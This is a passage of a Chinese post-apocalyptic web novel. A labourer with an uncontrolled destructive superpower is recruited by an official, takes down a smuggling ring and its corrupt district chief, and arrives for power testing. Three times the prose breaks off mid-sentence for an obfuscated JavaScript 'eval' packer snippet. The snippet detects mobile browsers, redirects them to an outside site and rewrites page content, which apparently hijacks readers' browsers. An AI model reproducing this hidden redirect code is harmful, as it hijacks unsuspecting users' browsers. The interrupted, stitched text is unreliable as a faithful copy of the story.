《异能局社畜日常[后末日]》 1. 你好 十六区。 一个深十米的长方体大坑边缘站着一个身材中等的男人,正暴躁地朝下面喊:“28号?28号!有长官找!” 男人仅靠肉眼是看不到坑体全貌的。他的大嗓门还没把二十八号唤上来,底下的人就哐哐地发力,男人视为挑衅,怒骂:“捣乱是吧?我看你们是不想吃饭了!赶紧的,把二十八号给我叫上来!再磨蹭就扣分!” 伴随着巨响,刺啦刺啦—从坑里爬出一个乌黑麻吉的人来。齐肩短发,不怎么合身的黑色胶衣,一脸麻木地拍了拍身上的煤灰,确定差不多了,这才走上前,软声道:“张经理,怎么了?” 男人,也就是管生产区的经理张联,精明的眼睛上下打量,怎么也看不出这平平无奇的28号有什么特别之处,竟然入了中心区高层的眼。他咳嗽一声:“去洗洗,穿个能看的衣服,和我去见一个人。” “报告,没别的衣服。”28号老实道。 张联一呼一吸,刚要说什么,结果被灰尘呛住,捂着鼻子,一副要升天的架势:“咳咳咳!”他小声嘟囔,“半年没来,这破地儿一点都没变,早知道随便打发个人来找了,要不是这个中城来的贵客……” 说是小声,那嗓门一点都不小。28号听得一清二楚,她一动不动,并不好奇这个贵客。 张联见她呆呆地站在原地,没好气道:“跟我来,给你找个能穿的衣服。” 他说的地方是废品回收店。不过这里的废品来自中心区,就算是废品,那也是值钱的东西,也不是二十八号这样的黑户能买得起的。她的配给点只够她维持不会死的状态。像她这样的人,在十六区还有很多。 废品店老板在十六区也是说得上话的人物。张联身为生产区经理,手下管着千人,在废品店老板面前也不够看,毕竟老板在中心区有人脉。 张联摁下门铃。门从里面打开,二十八号朝里看去,只见打开门的那根机械臂恢复原来位置,和它一起的有一排连接电线的透明管,不知道用来做什么。她路过时,全身都紧绷起来,大脑神经反馈两个字:危险! 大门在她背后重重合上。张联都走远了,喊了半天没见她吭声,一回头,好家伙,这28号还在原地发愣呢。他压着火气,低声喊:“还不快跟上来!” 28号乖乖走上前。她现在反而对这个贵人感兴趣了,能让张经理这么忍耐,还带她来这里,恐怕她是第一人了。 走出走廊,视野开阔。由昔日大型商场改造的废品店规模很大,四层楼那么高,可容纳的物品也很多,还有一间娱乐游戏体验室,几乎包括了十六区的消费。28号一路走过来,看得眼花缭乱。 坐上电梯往上,第二层是服装。张联给28号选了一身,直接扔到她头上:“快换上,别废话。” 28号在他看不到的地方翻了个白眼,走到换衣间。不知道是老板贴心还是这里的设计就是这样,还有个隔间写着“清洗”。她毫不犹豫走了进去,整个身子就像是置身水中,穿过水汽,就是一次清洗干净的过程,期间只花了几秒。 她站到镜子前,小心地摸了摸柔软的衣料。这是一件米黄色长裙,穿在身上的感觉让她感到新奇。从她有记忆开始,她只穿硬质的胶衣,这种衣服的好处是工作时不易破,耐脏。 张联接了个电话,对面说让他快一点,别耽误了大事。28号就是这个时候出来的。张联挂掉电话,上下扫了一眼:“走吧。” 28号走出二楼的那一刻,听到了一声“滴”的短音,那是张联手机扣点的声音。 旁边一个机械盒子说:“您的商品已查收,欢迎下次到来。” 废品店不需要服务。在这里进行的一切交易都已经被科技替代,他们这一路走来,一个人也没有。 张联和28号进来的第一时间,他们的消息就已经通过无线被后台的AI系统抓取。在它的指令下,他们一路的科技都开始行动起来,电梯、电子显示屏、换衣间,相应的会产生电费、物品费、机械使用费。 张联花费了五十个点,28号五天的生活费。用张联的话来说,就是“28号若是出息了,可不要忘记他的恩情”。 28号心想他这是亏了。她一个打黑工的,能不被抓就已经很好了,更别说有出息。但她不会提醒他。她笑弯了眼。 坐上张联不知从哪淘来的破飞摩轮,一路在钢铁泥路上腾飞,在一个铁箱房前停了下来。停在外面的还有几架小型飞机。 28号在毫无防备的情况下见到这有些熟悉的小飞机,大脑一片空白。 她想,她知道这个贵人会是谁了。 一个月前,她在十七区边境的废墟里见过这种型号的飞机。当时她正从一堆腐烂的花支里翻找还能用的东西,那是她少数能离开十六区的机会,越过区线去禁区边缘捡“垃圾”,虽然危险,但收益高。 那架飞机就坠毁在不远处,从机舱里爬出一个人,白色长发在灰扑扑的废墟里很是扎眼,穿的衣服已经看不出原样。她本该立刻离开,在这里遇到陌生人并不是件好事,她的身份经不起查。但那个人看起来快要死了,他半合的眼镜朝她看来。 她被那不甘的眼睛吸引,她想到了自己。 她用那双消瘦的手把围在他身边的恶能量硬生生撕扯开。 代价是她的手已经被恶能量缠上,而那个白发的男人感到了她手上异常的能量波动,那是她异能失控的前兆。 “你叫什么名字?”男人喘息着问。 她没有回答,低着头,转身就跑。跑出很远后,才敢回头,那人正靠在残破的机翼旁,远远地望着她,像是要深深地记住她。 可他们应该不会再见了,她不会再来这里了。 现在,她以为不会再见的人来找她了。 她跟在张联后面,怎么也想不明白这人是怎么找到自己的。她当时捂得很严实,连眼睛都没露。 屋子里的人已经互相握手说:“赵长官,我们合作愉快。” 张联是个人精,见他们来的正是时候,就把28号推向前。 28号一身米黄色裙子,和这些人格格不入。她一出现,就吸引到所有人注意。 这些目光谈不上友好,有审视,有羡慕,不过大家都掩饰起来。28号本人对这些小心思无知无觉。 站在最里面的人见到她,浅笑一声。其他人都默契地让出一条道,他朝28号走来。 28号见过的人里,最让人难忘的还是眼前这个人,白色长发,雌雄难辨的脸庞,却有一双深邃的眼睛。合身的黑色大衣勾勒出他高挑优越的身形,这让他在人群中十分亮眼。 他走到她面前,卸下手套,伸出手:“你好。距离上次见面已经过了一个月,找你颇费功夫。你该给我一个解释,28号,还是说,我该叫你容贤?” 28号,也就是容贤,顶着身后张联震惊的大眼,扯起嘴角,握住他的手:“容贤就好。原来他说的贵人就是你,赵先生。一个月不见,你看起来……”她顿了顿,找了个词,“恢复得不错。” 这话听起来像是在阴阳怪气。在场安静极了,张联着急地给她使眼色,她没看到,反而是赵先生看到了。 他知道容贤说的是事实,短时间的相处让他对容贤有一些了解,她并没有讽刺的意思,只是不擅长说话。 他也不废话,直接问:“之前说的还算数吗?” 容贤在他找上来时,就知道他会有这么一问。 那时在废墟,他塞给她一张名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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容贤有些紧张的心在这一刻缓了下来。 “可入了职,我们是上下级的关系,我应该叫你部长大人。” 赵随石因开着飞机,不好分心,可听到“部长大人”还是浑身起了一身鸡皮疙瘩:“这要是让那些混世魔王们听到,恐怕会笑掉大牙。”他笑了笑,“我那些部下会叫我哥。” 容贤顺着他的意思叫:“赵哥。” 飞机缓缓升空。从舷窗往下看,十六区像一块巨大的、生锈的铁皮,满是补丁和裂缝。容贤看着自己住了三年的地方越来越小,心里空落落的。 不是不舍,是那种踩了三年钢丝,终于掉下来的感觉。 “对了,”赵随石忽然说,“你的异能,上次我看到的那次,是能量引爆,对吧?” 容贤身体一僵。 “别紧张,”他的声音很温和,“我任职的清理部里什么样的异能都有。你的能力很特殊,也很强。但我要提醒你,在中心区,未经登记的异能使用是重罪。所以入职后的第一件事,就是去测试评级,拿到许可证。” “我知道。”容贤低声说。 她知道的不止这些。她还知道,她的异能评级绝不会低,而高评级的危险异能者,在中心区的档案里会被标注为“重点监控对象”。 赵随石把她从十六区捞出来,真的是为了“清理部需要人才”这么简单吗? 飞机掠过一片废弃的工厂区。下面有人抬头看,指指点点。在十六区,飞行器不常见,尤其是中心区制式的小型飞机。 容贤忽然说:“赵哥,能先去个地方吗?” “哪里?” “废品回收店。”容贤说,“我想买点东西。” 2. 买买买 “赵哥,就是这里。” 赵随石看了眼她指的位置,有些意外,将飞机降下来。他在来之前,就已经将十六区的地图研究过了,这废品回收店是他在十六区除了容贤之外的意外收获。 “你要买什么?”他好奇地问。 容贤想了想,认真道:“吃的,用的。” 废品回收店里有很多客人,他们三三两两地走在货架中挑选商品。容贤和赵随石的到来引起他们的注意,赵随石优雅的姿态在灰淡的十六区很少见,尤其是他有一头顺滑的白色长发。 他们在想十六区什么时候有了这一号人物。赵随石也在观察着四周,在看到眼熟的东西时,嘴角勾起:“有意思。七区遗漏的零件原来在这。这里的老板很会做生意。” 他意有所指。 容贤没听出来。她走到食品区,想都没想,就把上面一层全部放在购物篮中。 她又去饮料区,相同的操作。 到了小型机器区,也没犹豫,一口气把一层拿下。她点了点购物篮上的屏幕,上面显示出九千零三点。 赵随石见她不动了:“怎么了,是不够吗?不再买一点吗?” “不了。”容贤脸有些红,“已经足够了。” 他们这番对话被离得近的人听到,有了猜测,大概不知道是哪里的大人物看上了这姑娘,来这购物是要讨好小情人了。 容贤在十六区对这种眼神并不陌生,充满了偏见鄙视,以前她穿着胶衣、浑身煤灰,没人会多看她一眼。现在换了身裙子,站在赵随石旁边,被当做货物的不适让她意识地往赵随石身边靠了半步。 这个细微的动作被赵随石捕捉到了。他侧身,不着痕迹地挡在她和那些视线之间,语气如常:“买够了就去结账吧。” 容贤嗯了声。 她这一口气消费九千点,在十六区不常见。一向神出鬼没的老板看到入账,都好奇起来。 他在类似玻璃的显示屏上划拉了几下,周围环境迅速从拥有三百六十度无死角的落地窗办公室变成了购物区。 容贤刚听到一丝电流声,就看到了凭空出现的男人。 男人自称是这里的老板。 人逢喜事精神爽,赚钱的事老板可是相当积极。他热情地向二位推销最新款陪伴AI:“这一款可是我呕心沥血的得意之作!不用担心信息泄露,不用担心它人设崩塌,它只会是独属于你们的爱情AI,记录你们的喜怒哀乐,永远不会抛弃你。” 容贤还没有属于自己的AI。她之前都是租的公共智能AI,只负责回应她的简单问询和推送一些和她无关的新闻,查资料都要升级,就在前日已经到期了。 在AI盛行的今天,人人都离不开AI。她没有合法身份,购买不了当下流行款,很多免费的福利也享受不上,现在用的手机都是被淘汰下来、她碰运气捡的。听闻老板介绍,“独属”就让她心动了。她看了下自己的余款,冷静下来,没有丝毫挣扎就死心了。 赵随石不缺这些。他是看容贤渴望的眼睛,实在是有些可怜,就和老板说:“我买下了。” 又一笔进账,三万点。 老板能做老板,会看眼色是必不可少的技能之一。他看出这AI是给女人买的,说:“这位女士,你的专属AI激活程序已经发送到你的手机,请你按照步骤一一点开。” 容贤愣了下,眨了眨眼,看向赵随石:“是不是搞错了呀?不是你买的吗?” “嗯,我买给你。”他说,“这有利于我们之后的工作开展。在未来的工作里,你用到它的地方会有很多,你可不要认为这是什么简单的事情。” 他的体贴让容贤拒绝不了。想到自己已经花了很多钱,也不差这一个了,只好掏出手机,上面的划痕很少,一看就是被主人精心对待的。 她按照步骤一一点下去:给AI取名,设置性格。她几乎没怎么思考就写了上去。 一个沉稳女性的声音响起:「你好,容贤。我叫万金。我将成为你与新世界之间的桥梁。」 容贤皱了皱眉。这个说法有点奇怪。但没等她细想,万金继续说:「接下来,我会陪伴你度过无数岁月,直至我的生命终结。」 “你好,万金。” 老板本来还以为这AI还要跑趟中心区才能卖出去,结果没想到大客户自己找上门来,别提多得意了。 他的虚拟形象第一次维持不住人形了。为了不吓到其他客人,他让机器人把大客户送出去,自己则消失在空中。 16区已经好久没有新闻了。刚才的一幕被人录了下来,发到了网上,短短几分钟,浏览量就达到了三千万,十六区也不过才八十万人。 容贤高兴地坐在飞机上,虽然她并没有表现得很明显。 “东西买上了,接下来要去哪?” “回我家。”容贤说,“我想把东西放下。” 只是容贤兴冲冲地从窗户往下看家时,傻了眼。 她那小小的家,能挡风雨,能避寒,虽然不隔音、邻居很吵闹,但不知道哪来的车,硬是把墙撞开一个洞…… 赵随石注意到一边停放的小型飞机,心想这不就是那几个小子的吗?怎么会在这? 他看向一旁来不及躲的部下,温和道:“我需要一个解释。” 那几个人互相推诿,慢慢地走到他面前。 “其实事情是这样的,我可以解释!” 说话的人叫车尔。他和同事杨理火跟着赵随石来到十六区找人,找到人之后,被区长热情招待,说他们来一次不容易,让他们“放松一下”。 没想到这一放松就出了事。 “不知道哪来的人胆大包天,把区长停的车给开了,还想开我们的飞机。结果没打开门,就强行破坏,好在刚上好的保护层,很坚固,没有让他们得逞。” 赵随石看地上的车痕去向:“区长呢?” “受到了惊吓,正躺着呢。” “惊吓?”赵随石回想起之前红光满面的区长,轻笑,“那我应该去看看他。” 容贤的目光落在碎墙下,那里有一个多出来的小木箱。 木头在这个时代是很稀少的。变化的生态环境导致四季混乱,植物很难健□□长。 “在看什么?”赵随石随着她目光看去,也看到了那不同寻常的木盒,“是你的吗?” “不是。” 容贤往前走,感受到一股阻力,这个木盒正在抗拒她。她强行捡起来,在所有人面前打开。 赵随石看得清楚,这是一个机械的零件。“这是七区特制的。” 车尔想起之前和区长聊天中提到过七区:“哥,异警部的兄弟不是前不久在七区侦破一起私售案吗?特意保密了。这区长估计在七区有人,知道得清清楚楚,刚还和我们打听来着,是不是和这个事有关?” “看来,这区长是非见不可了。”赵随石说,“通知下去,先把他们抓起来审一审吧。” 容贤看到手里的东西来自七区,就一直很沉默。直到赵随石要去见区长,她才声音很小、但很坚定地说:“我去抓他们吧。”她担心他们不相信自己,准备了一些理由证明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094750|195618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己可以。 就在她要解释时,赵随石点头:“如果你能帮忙,那真是太好了。虽然这不属于我们的工作范围,但这是异警部的事,在他们来之前,我们要稳住局面。” 他话里话外已经把容贤当成自己人。容贤很感激他,甚至有些愧疚,他那么相信她,可她还要隐瞒他。 她是知道偷车撞她墙的人是谁的。她打黑工接触的都是见不得光的人,理解不代表赞成。只要稍微一想,就知道这些人现在会跑去哪里。 容贤移动的速度很快,抄了小道,在硬水泥地上越过一个又一个障碍。 赵随石示意车尔靠近,低声说:“你亲自跟,不要被发现。” “是。” 车尔的身影悄无声息地融入阴影。 …… 容贤停到一个空旷的废厂前。遍地都是曾经没有运走的铁,如今已经风化。 她的脚步声清晰可闻。里面的人听到声音便严阵以待,直到看到来人是谁,其中一个半裸的男子皱眉:“是你?今天没你的事,快滚。” 容贤看他肩膀上裂开的血痕,把木盒拿出来说:“这是你留下的,戴斯。” 戴斯骂了一句,横了一眼心虚的人:“成事不足,败事有余!这点事都做不好!” “这和你无关。”戴斯草草处理了下伤口,站起来,“把东西给我。” 容贤把木盒背到后面:“你的人把我家的墙撞破了,就是因为这个东西吧?你得告诉我它到底是什么,否则我不能给你。” “艹!”戴斯一激动,伤口就痛,“28号,我算是听明白了,你就是来找事的!你和我说你不知道这是什么?扯淡!平日里让你运的货就是这玩意儿!” 他逼近一步,眼神凶狠:“他们和我说中心区来个大人物,专门为你来的。28,你倒是给我解释解释这件事是怎么回事?你和他什么时候认识的?别给我装傻。” 容贤垂下眼睛,头发挡住了她的表情:“不能告诉你。” 戴斯冷笑:“看来我们是说不成了。你要是不走,就别怪我无情,翻脸不认人了。把命留在这里吧。” 他摆手,狠戾道:“上!” “戴斯,别这样,我是想帮你的。” “这话你是骗白痴是吗?你以为谁都像你一样好骗?你都不知道发生什么,你就敢来!”戴斯有时候觉得她很聪明,就像之前可以悄无声息地把货运走;又觉得她真天真,这么明显的套也能上。 容贤低落道:“我买了很多东西,都是想送给你们的。我没有办法再帮你们运货,你们之前帮助了我很多,临走前也想帮你们一次。” 她语速加快:“这里面的东西是七区非法改造,里面融了一些不该融的东西。它并不是你想的那么简单,所涉及的也并不仅仅是跨区倒卖。你以为你能解决?不是的。” 戴斯听愣了:“你从哪里听到的?”他没等容贤说,自顾自地接,“我知道了,那个大人跟你说的吧?可笑!我做的这几年,什么没经历过,能被你威胁到?” 他“好心”道:“你也帮我做了不少事,我实话告诉你,这个生意可不是只有我在做。至于今天的事,是一时大意。” 他显然不在意容贤的劝告,偏头,示意其他人把人做了。 容贤见说不通,只好和围上来的人周旋。她拉开距离,观察了下角度,助跑,跳跃,占据制高点。 躲在不远处废墟里的车尔打开记录仪。他想看看,赵哥非要亲自去十六区找的这个人,到底有什么特别之处。 然后他看到了。 3. 归来 人类为了对抗恶劣的环境,身体觉醒异能。每个人的异能都不一样,就像大家曾经想象的修仙小说一样,有风火水木金等自然元素,也有精神侵入等身体部分发展极致的。 经过长期统计,异能被分为三个大类:攻击系、精神系、治愈系。下面又有不同的分支,等级强弱以英文字母A开头,E为尾,异能表到现在还在不断更新。 容贤的异能,官方分类里没有。 她自己称之为“毁灭”。更准确地说,是让能量本身暴炸。 她催动异能的那一刻,所有的物质运动在她眼里放慢。 空气里的灰尘、对方异能者体内奔涌的能量流、甚至光线本身的波动,全都变成了可视的点,她不需要制造爆炸,只需要找到那些点里最脆弱的地方,然后轻轻一碰。 砰! 第一声闷响是从一个火系异能者体内发出的。他正准备甩出火焰,却突然瞪大眼睛,胸口炸开一团无声的血花,不是外伤,是体内的能量回路被从内部引爆了。 紧接着是第二个,第三个。 围攻她的一共七个人,在不到三秒的时间里,全部倒地。不是外伤,不是内伤,是他们体内用来驱动异能的“能量源”,被精准地、逐个地点爆了。 一旦开始,不到最后不会停止。 车尔的记录仪疯狂报警,能量读数瞬间飙升到A级,然后又骤降到零。这种极端的波动,他只在研究所的实验数据上见过,那是异花的波动。 而容贤还站着,站在七具不知生死的身体中间。 但车尔看到了细节,她的手在发抖。暗红色的血顺着手臂,滴在地上,晕开一小片深色。 她在透支。车尔瞬间判断出来,这种级别的异能爆发,对她的身体负担极大。 戴斯铁青着一张脸,死死盯着造成这一切的始作俑者。以她为中心,地上层层叠叠向外裂开细密的纹路,像一张巨大的蛛网。围攻的人们都倒在地上,一声不吭,不知生死。 他低估了她。 一直以来,他被她表现出来的无辜给骗了。她不是“有点特别的打黑工的”,她是强异能者,强到离谱的那种。 他咽了咽口水:“你冷静一下。” “我在听。”容贤说。她的声音很稳,如果不是她手臂的血一直在流,车尔几乎要以为她游刃有余。 “当时你其实就是看到了吧?”戴斯回过神,“也就是那一次过后,你就不愿意送货了,让我给你找个其他活干。” 他苦笑:“没错,就是你看到的那样。十六区离中心区远,又离禁区近,想要发展,就要做点其他地方不能干的事。” 容贤回想起那一天看到的画面。 那是一间地下实验室,穿着防护服的人们在几个区来回穿梭。她当时误入“熔断区”,那里负责把金属和花苞融合一起,进行塑形。 那是一种流动的新金属,大家给它命名“活体金属”,可以用于替代镁合金、钛合金等合成金属,有价格低、效率高等优点。 可现在世上只有禁区的外星异花。这些年来,人类想方设法消灭此花,它水火不侵,能对抗的只有人类的异能,但并不是完全消灭,只能将含有异能的物质转换为“源河”,将异花驱赶到十八区。 外星异花的全身含有剧毒。它们会悄无声息地将种子种到人类心里,一旦生根发芽,就可以慢慢取代原身,模仿他们的行为举止、待人处事,在其他人毫无防备的时候“吃掉”宿主,然后再选择下一个。 在人类抗争史中,外星异花带来的伤痛不是一朝一夕就可以消减的。 戴斯无奈道:“你知道中心区的人过得多舒服吗?他们有多自由吗?我们十六区做错了什么?只是要守住源河,就要源源不断地提供含有能量的矿,每天固定的工作,领着只能维持生计的工钱……” “七区的人找到我,说可以改变这里。你看,确实有改变了,我们很多人都有多余的收入,可以去做很多事。” “都是借口。”容贤毫不犹豫地戳破他,“是你被巨大的利益蒙住了眼睛!” 她的声音因为虚弱而发抖,但每个字都像刀子:“活体金属如果真有那么好,你们就不用偷偷摸摸地做这种事!它本就具有不确定性,甚至还会影响到使用者的身体,你在用这些货的时候,没发现自己的脾气越来越暴躁吗?没发现伤口愈合的速度不正常吗?” 戴斯脸色变来变去:“这和你有什么关系?” “有关系。”容贤说,她甩了甩手上的血,“我现在是清理部的一员。你们所作所为已经严重危害到国家安全和人身健康权。” 她说完,不给戴斯反应的机会,强行催动最后一点异能,这次不是引爆,是冲击。无形的能量波撞向戴斯的大脑神经,让他眼前一黑,直挺挺地晕了过去。 做完这一切,容贤腿一软,差点跪倒在地。她勉强扶住旁边锈蚀的铁架,大口喘气。 耳鸣。视野边缘发黑。喉咙里全是铁锈味。 每次使用异能超过限度,她的身体就会陷入混乱,她死死压制着。 她举起木盒里的活体金属,对着昏沉沉的天光看。毫无杂质,晶莹剔透,在光线照射下内部仿佛有液体在流动。 她之前的收货人从来都不露面,十分谨慎。可她今天在废品店老板那里,见过她送过的货,就在机械零件区,标着“七区特供”,价格高得离谱。 老板的虚拟形象出来,热情地推销虚拟AI,那不仅仅是想赚钱吧?是在试探她吧?试探她知道多少,试探赵随石的到来和活体金属有什么关系。 “你可以出来了。”容贤对着空气说。 车尔从阴影里走出来,脸上还带着没收起的震惊。 容贤指了指地上的人,“你要怎么把他们带回去?我可以把他们弄醒让他们自己走回去。” “……不用了。”车尔掏出一个纳米容纳盒,调好重量和时长,对着倒下的人摁下去,人也就消失了。 容贤从来都没见过这么高级的东西,小小惊讶了声。在看到车尔手腕弹出的人物表,里面记录着每个人的身体状况,她更是两眼放光。 这在中心区司空见惯的东西,车尔却不敢小瞧她。他观看了全程,从不以为然到目瞪口呆,他算是明白了,赵哥为什么非要找一个从来没听说过的容贤。 这个人的异能,恐怖如斯。 可她一副无害的模样,瘦弱,苍白,眼底有淡淡的羞涩。她很不好意思地问他:“我也会有这些吗?” “当然,”车尔说,“等我们回到中心区,办了入职,我带你去买。” “多谢。” 容贤笑起来。那笑容很浅,一阵风就吹过去了,不留痕迹。 但车尔记住了。 …… 赵随石挂了通讯,和已经汗流浃背的区长说:“人已经抓到了,现在正在审讯中。你有什么补充的地方吗?” “没有没有。”区长连忙说,“我会全力配合。” 他紧张得已经开始抖腿。赵随石当做没看到,笑吟吟地说:“那正好有件事需要你来回答,你身为十六区区长,管辖范围内发生了这样的事,你一点都不知情吗?” “我是真的不知道。”区长苦笑。 一个温软的声音从门口传来:“你撒谎。” 赵随石朝门口看。容贤站在那儿,脸上还带着没擦干净的血迹,满脸阴郁:“戴斯说,他们根本不怕被查,早就和上面人打好招呼了。我去找了废品店老板,他得到风声,已经跑了。除了他,整个十六区还有谁有这么大权力?” 区长下意识挺起身子:“证据呢?” “证据?”容贤看了眼赵随石,在他的鼓励下说了出来,“你收了他们很多好处。戴斯担心你把他们舍弃,就特意记录了下来,有视频,有文字。” 区长还想强撑,容贤直接把证据从万金那里调了出来,AI已经自动整合了从戴斯通讯器里提取的数据。 投影光幕在空气中展开。视频里,区长正笑着接过一个密封箱,里面是成捆的配给点卡。 赵随石转向区长,语气依旧温和,但眼神已经冷了:“希望区长接下来可以全力配合我们的调查工作。” 他对容贤的表现很满意,语气还有些笑意:“我已经联系了异警部的同事,申请联合办案。一会你们把犯人和他们交接一下,不要放松警惕。” 容贤点头:“明白。” 区长被新来的异警同事带走。赵随石发现她纠结的表情,问:“是在想戴斯他们会有什么后果吗?” 容贤“嗯”了声:“戴斯做了错事,理应受到惩罚。可他还有妻子和孩子,她们什么都不知道。还有几个老人家,他们年纪大了,干不动了,家里失去了年轻人,很难熬过去。” “根据国家安全新修订法,他们犯了擅自进行非法实验、倒卖违禁品、危害人身安全等罪,数罪并罚,源河监狱五十年。”赵随石淡淡道,“至于他们的家人,隐瞒不报者同罪。” 他没有提到不知情的人。但容贤听懂了,他这是在说,不知情的人没事。 十六区区长承认自己组织了一条利益链。他声称和其他人无关,否认了和七区的人跨区交易。 此案僵持不下,只好进入尾声。 最后,剥夺其政治身份,没收全部财产,判处无期徒刑,入源河监狱。 废品回收店的老板换了一个人,没有之前那么神秘,也没有办法做无人销售。他开始招聘,很多人都去面试,现场很热闹。 源河监狱,是专门关押和异花有关的罪犯的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094751|195618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地方。 容贤把买的东西全部给了曾关照过她的人。有些人甚至忘记了自己帮助过她。 赵随石默默地跟着。等容贤已经把手里最后一个东西送出,他说:“确定了吗?” 容贤狠狠点头:“确定。” “那就走吧。” …… 坐上去中心区的私人超音飞机,比寻常飞机要快十倍,将空间时间的利用率发挥到极致,从十六区出发,只需要三个小时。 容贤有些紧张。 她在新闻里看过中心区的样子,那是一个科技之城,一切都是那么的整洁、和谐。 她正翻看赵随石传过来的文件,上面详细介绍了她的工作单位,以及一些对中心区来说是常识的信息:中心区分东南西北四区,异能防卫安全总局则在东区。 赵随石则戴上智能眼镜,靠着舱门,调了份加密档案出来。 档案首页是一张高清照片,一对年轻的研究员夫妇站在实验室门口,手里抱着一个孩子,一起对着镜头微笑。容贤和其中男子长得有七分相似。 档案状态标注着:【年龄未知,姓名未知,背景未知】。 一张“三无”照片。翻遍了所有资料,竟然什么都没有。 他闭上眼。 抹得这么干净……是多么害怕被人知道? 他还真好奇,这对年轻人到底去做了什么。 容贤…… 他睁开眼。她会是那个突破口吗? 容贤的手机弹出一个匿名消息。万金在问她是否屏蔽,她按了接受。 手机响了三声,对方发来一句:「二十八号,你厉害。你攀上高枝的第一件事,就是把区长给办了。」 容贤对这个人并不陌生,过去三年,她很多兼职是通过这个匿名渠道接的。但她从未见过对方,连是男是女都不知道。 「我已经不是十六区的黑工。」她回复。 「懂,不就是不能叫你编号了吗。我是来恭喜你的。」 「嗯,我收到了。再见。」 「哈哈哈,我在这里等着你。」 「等等!你是中心区的人?你从来没和我说过!」 「现在说也不迟,容小姐。」 对话被对方单方面中断。容贤气得握拳,她想摆脱之前的一切,包括这个和她联系的人。她能以黑工的身份待在十六区,也是他授意张联安排的。 她早该想到的。一个能随意安排黑户工作、能搞到那么多“特殊货物”运输单的人,怎么可能只是十六区的地头蛇? “是我给的资料不够吗?”赵随石回到座位,看她一脸凝重。 “不是,很齐全。”容贤捏了捏手,“我看同事的资料,觉得他们很厉害。和他们一起并肩作战,我真的可以吗?” “可以。”赵随石不假思索,坚定地说。 只要看过她战斗的人,就无法否认她。 车尔给他发的视频,他第一时间就看了,在堆积如山的废弃物阴影里,她穿着米黄色的裙子,看似纤弱的双手瞬间就可以催动强大异能。比她壮几倍的男人如同泡沫一般,轻飘飘破碎。 同时,他也看到了异能的失控。 就差一点,如果容贤不在最后及时清醒,整个十六区就会被炸上天,无人幸免。 她需要控制。需要引导。需要一跟绳子… 容贤下超音机前,收到了赵随石的礼物,一个很简单的银色环链,链上的坠子是深绿色宝石,可以环在手腕,也可以戴在脖子上。 赵随石真诚地说:“宝石里具有容纳功能,在中心区可是少不了它的,这是你的入职礼物。” 容贤接过来。链子很轻,宝石触手温凉。她犹豫了一下,缠在了手腕上。 在戴上的一瞬间,她感到一丝微弱的、清凉的能量从宝石里渗出,顺着皮肤蔓延开。那种一直隐隐作痛的能量过载感,忽然减轻了不少。 她惊讶地看向赵随石。 “喜欢吗?”他笑着问。 容贤点点头。她想问这宝石是不是还有别的功能,但话到嘴边又咽了回去。 有些事,不知道比较好。 她欣然戴上,轻声说:“谢谢赵哥。” “不客气。”赵随石说,他转身看向舷窗外越来越近的中心区天际线,声音很轻,轻得几乎听不见,“这个世界会因你被颠覆。” …… 中心区冬区,奥基德生物研究院。 一个穿着白色研究员袍的男人站在落地窗前,看着那架超音飞机缓缓降落在总局的专用停机坪。 他的手机震动,弹出一条加密信息: 【目标已出现,丝兰行动开始启动。】 男人关掉信息,回到实验室,研究员们正三心二意的聊天… 4. 测试 异防局总部可容纳五万人,其中每个人都是从中心区里的五千万人中精挑细选出来的高异能精英。 在内部里,职能大小已经从开始就定了下来,等级是天然存在的,出力最多的,反而是级别最低的,清闲又能直接接触领导的就不一样了,是个肥差,两方之间的怨气都很大。 管理层为了平衡,乐见其成。 今天,空闲的人们都围起来讨论一件事。 “听说了吗?那个人回来了?” “真的?不会骗我吧,那个人不是被流放啊不,外派到十八区了吗?那不是号称必死无疑吗?这才过了几年,他就回来了?” “准确的说,他去了有一年零六个月。” “不愧是关系户,闯了那么大祸,一点事都没有。”说话的人一脸不屑,“要我说,就他这种花瓶,回来也不一定能坐稳部长的位置,他异能弱的连我们都打不过,那清理部的人各个都古怪,我们之后就看他的笑话得了。” 其他人纷纷赞同,“说的对。” “是吗?这么多人关心我,我很是‘受宠若惊’啊。” 一个谁也没想到的人正面带微笑,一步一步的往前走,有着一张迷惑人心的脸蛋,大家都他并不陌生。 真是说曹操曹操就到。 他们面露尴尬,强行镇定,喊他,“赵部长好。” “你们也好。”赵随石没再提刚才的话题,而是说,“我带人来测一下异能等级。” 站在他身边的是矮他一节的容贤默默往前一步。 一位戴着眼镜的女性比其他人快一步,她并没有参与刚才的议论,手里拿着表直接走到他们面前,“请填写一下信息。” 容贤就要接过来,赵随石伸手拦了下,看了下她的衣服上的名字,“李专员,我之前已经提交了她的身份信息,不用填了,直接进测试流程。” “请跟我来。”李稻心从善如流的放下表。 容贤看向赵随石,眼睛写着只能我一个人吗?他点了点头,“为了确保公正,一切信息都要公开透明化,以防有人在中间出现旁边协助,作弊等不良行为,整个测试过程中,都是由已经设定好的程序录入机器操作,你放心,我一直在看着你,不会出意外的。” “嗯。” 